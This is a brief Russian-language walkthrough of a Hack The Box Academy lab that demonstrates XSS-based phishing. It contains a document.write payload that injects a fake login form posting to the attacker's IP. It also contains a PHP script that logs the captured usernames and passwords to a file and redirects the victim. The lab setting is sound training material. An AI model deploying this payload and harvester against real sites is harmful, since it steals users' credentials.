На HTB есть учебная машинка в их академии. С ее помощью можно реализовать XSS и провести «фишинговую атаку». Вот так выглядит веб приложение.

Мы можем вставить URL с изображением и оно отобразиться в UI.

Попробуем вставить payload с формой логина и посмотреть отобразиться ли оно.
JavaScript
document.write('<h3>Please login to continue</h3><form action=http://<our_ip><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');Выглядеть будет кривовато, но это базовый пример.

Собственно теперь напишем скрипт, который поймает данные, которые введет пользователь. Потенциальному пользователю отправляется ссылка, так как это не stored XSS.
PHP
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://<server_ip>/phishing/index.php");
fclose($file);
exit();
}
?>Далее сохраняем в index.php и запускаем.
Bash
php -S 0.0.0.0:80Когда данные будут введены, мы их «поймаем» скриптом и запишем в файл creds.txt, а пользака отправим на index.php, те главную уже без нашей инжектированной формы логина.

Сохраненный файлик.

